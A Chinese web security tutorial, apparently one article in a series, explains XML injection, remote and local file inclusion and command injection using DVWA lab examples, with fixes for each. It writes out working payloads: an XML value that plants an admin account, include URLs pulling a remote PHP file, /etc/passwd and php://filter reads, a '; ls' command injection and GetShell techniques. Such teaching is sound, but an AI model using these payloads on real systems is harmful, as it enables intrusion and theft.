Web安全测试(四):XML注入和代码注入

一、前言

结合内部资料,与安全渗透部门同事合力整理的安全测试相关资料教程,全方位涵盖电商、支付、金融、网络、数据库等领域的安全测试,覆盖Web、APP、中间件、内外网、Linux、Windows多个平台。学完后一定能成为安全大佬!

全部文章请访问专栏:《全栈安全测试教程(0基础)》

通过本章节,我们会学到:

  1. XML注入概念
  2. 了解什么是XML注入漏洞
  3. 了解XML注入漏洞产生的原因
  4. XML注入漏洞检测与防护
  5. 掌握XML注入漏洞的利用方式
  6. 掌握如何修复XML注入漏洞
  7. 代码注入概念
  8. 代码注入的类型及防御

文章目录


二、XML注入漏洞

1)什么是XML注入

XML injection,XML注入漏洞。XML注入类似于SQL注入,XML文件一般用作存储数据及配置,如果在修改或新增数据时,没有对用户可控数据做转义,直接输入或输出数据,都将导致XML注入漏洞。

2)XML注入产生的原因

XML注入产生的原因与SQL注入差不多:

  1. 传输的数据包含了标签内容。
  2. 修改数据时会覆盖原有的标签

3)XML注入漏洞例子

服务器是生成XML来存储用户数据:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
 <USER role="guest">
  <name>user</name> 
 <passwd>123</passwd>
  </USER> 
  <USER role="admin">
   <name>admin</name> <passwd>1adtyr32e762t7te3</passwd> 
  </USER> 

guest用户申请改密码,会更改123。

要是用户提交的不是简单的字母组合,而是如下信息:

xml 复制代码
12345</passwd></USER>
<USER role="admin">
<name>admin</name>
<passwd>123456</passwd>
</USER>

这样,配置文件会变成:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
 <USER rule="guest"> 
 <name>user</name>
  <passwd>12345</passwd>
   </USER> 
   <USER rule="admin"> 
   <name>admin</name> 
   <passwd>123456</passwd>
    </USER>
   <!---</passwd> </USER>
     <USER role="admin"> 
     <name>admin</name>
     <passwd>1adtyr32e762t7te3</passwd>
</USER> 

4)如何防御XML注入

对用户输入进行检查

对特殊字符进行转码

  1. & --> &
  2. < --> <
  3. --> >

  4. " --> "
    1. ' --> '

三、代码注入漏洞

代码注入包含:

  1. 远程文件包含漏洞
  2. 本地文件包含漏洞
  3. 命令执行漏洞

1)远程文件包含漏洞

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含。

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。
PHP常见的导致文件包含的函数如下:

php 复制代码
include()
include_once()
require()
require_once()
fopen()
readfile()

远程文件包含漏洞风险

  1. 攻击者可利用代码注入漏洞执行任意代码,来操作服务器
  2. 攻击者可利用代码注入漏洞操作数据库,插入恶意数据,可能获取系统权限
  3. 攻击者可利用代码注入攻击修改系统配置,修改网络配置,可能对服务器及网络造成影响
  4. 代码注入攻击后可以进一步对网络渗透,由于代码注入攻击多半可获取系统权限,对网络的进一步渗透难度大大降低

如何利用远程文件包含漏洞

DVWA为例:

bash 复制代码
http://mydvwa.com/dvwa/vulnerabilities/fi/?page=file1.php

上面链接中,我们可以传递一个文件名,PHP会根据文件名进行导入操作

我们可以指定我们自己编写的地址:http://site1.com/a.php

这里会输出phpinfo()内容。

bash 复制代码
http://mydvwa.com/dvwa/vulnerabilities/fi/?page=http://site1.com/a.php

要是a.php中写入木马,可以控制对方机器

远程文件包含漏洞代码审计方法

查看是否有如下代码:

php 复制代码
include(), include_once()
require(), require_once()
fopen()
readfile()

如何修复远程文件包含漏洞

不需要执行远程代码时,可以修改php.ini配置:

php 复制代码
allow_url_fopen = Off
allow_url_include = Off

不要直接导入用户输入的内容

执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交"1、2、3"等参数,代表相应代码。

2)本地文件包含漏洞

与远程文件包含漏洞类似,可以读取任意的本地文件

可以通过远程文件包含漏洞来生成本地文件包含漏洞的代码来利用

本地文件包含漏洞可以包含本地文件,在条件允许时甚至能执行代码

上传图片马,然后包含

读敏感文件,读PHP文件

包含日志文件GetShell

包含/proc/self/envion文件GetShell

包含data:或php://input等伪协议

若有phpinfo则可以包含临时文件

本地文件包含漏洞所用到的函数

与远程文件包含漏洞所用到的函数相同:

php 复制代码
include(), include_once()
require(), require_once()
fopen()
readfile()

本地文件包含漏洞利用方式
漏洞危害:

  1. 执行任意代码
  2. 包含恶意文件控制网站
  3. 甚至控制服务器

上传带有PHP代码的图片

php 复制代码
http://mydvwa.com/dvwa/vulnerabilities/fi/?page=../../../a.jpg

读取PHP文件

php 复制代码
http://mydvwa.com/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../../a.php

读取系统敏感文件

php 复制代码
http://mydvwa.com/dvwa/vulnerabilities/fi/?page=/etc/passwd

如何修复本地文件包含漏洞

不要直接导入用户输入的内容(与远程文件包含漏洞相同)

执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交"1、2、3"等参数,代表相应代码。

3)命令执行漏洞

用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码

在操作系统中,"&、|、||"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

命令注入漏洞对系统安全产生的危害

继承Web服务程序的权限去执行系统命令或读 - 写文件:运行Web服务的用户权限等于黑客利用漏洞后执行命令的权限

反弹shell:通过特定方式进行反弹shell攻击

控制整个网站甚至控制服务器:根据权限,可能服务器整体被沦陷

进一步内网渗透:把当前控制的机器当作跳板来控制其它内网机器

命令注入漏洞例子

页面:

php 复制代码
http://mydvwa.com/dvwa/vulnerabilities/exec/

正常参数:

0.0.0.0(或其它IP)

修改后的参数:

0.0.0.0; ls

会输出当前目录的列表

第三方组件存在的代码执行漏洞

Struts2漏洞(s2-16)

Struts2的DefaultActionMapper支持一种方法,可以使用"action:", "redirect:" , "redirectAction:"对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对"action:", "redirect:" , "redirectAction:"等进行处理,导致ongl表达式可以被执行。

命令注入漏洞的修复方法

尽量不要执行外部命令

尽量使用脚本解决工作,少用执行命令函数

使用自定义函数或函数库来替代外部命令的功能

程序参数的情况,escapshellcmd过滤

程序参数值的情况,escapeshellarg过滤

参数值尽量使用引用号包裹,并在拼接前调用addslashes进行转义

使用safe_mode_exec_dir指定可执行文件的路径

相关推荐
紫队安全研究24 分钟前
《Web3 安全:攻击与防御全景指南》
安全·web3
黄焖鸡能干四碗2 小时前
【需求分析】软件系统需求设计报告,需求分析报告,需求总结报告(原件PPT)
大数据·人工智能·安全·测试用例·需求分析
hallo1283 小时前
英文论文安全的免费查重网站
安全·论文
小小工匠3 小时前
Web安全 - 服务端请求伪造SSRF(Server-Side Request Forgery)
web安全·ssrf
速盾cdn5 小时前
速盾:如何判断高防服务器的防御是否真实?
网络·安全
你怎么睡得着的!6 小时前
【web安全】——常见框架漏洞
web安全·网络安全·框架漏洞
一尘之中6 小时前
网 络 安 全
网络·人工智能·学习·安全
IvorySQL6 小时前
济南站活动回顾|IvorySQL中的Oracle XML函数使用示例及技术实现原理
xml·数据库·sql·postgresql·oracle·开源
l1x1n07 小时前
DOS 命令学习笔记
笔记·学习·web安全
速盾cdn7 小时前
速盾:网页游戏部署高防服务器有什么优势?
服务器·前端·web安全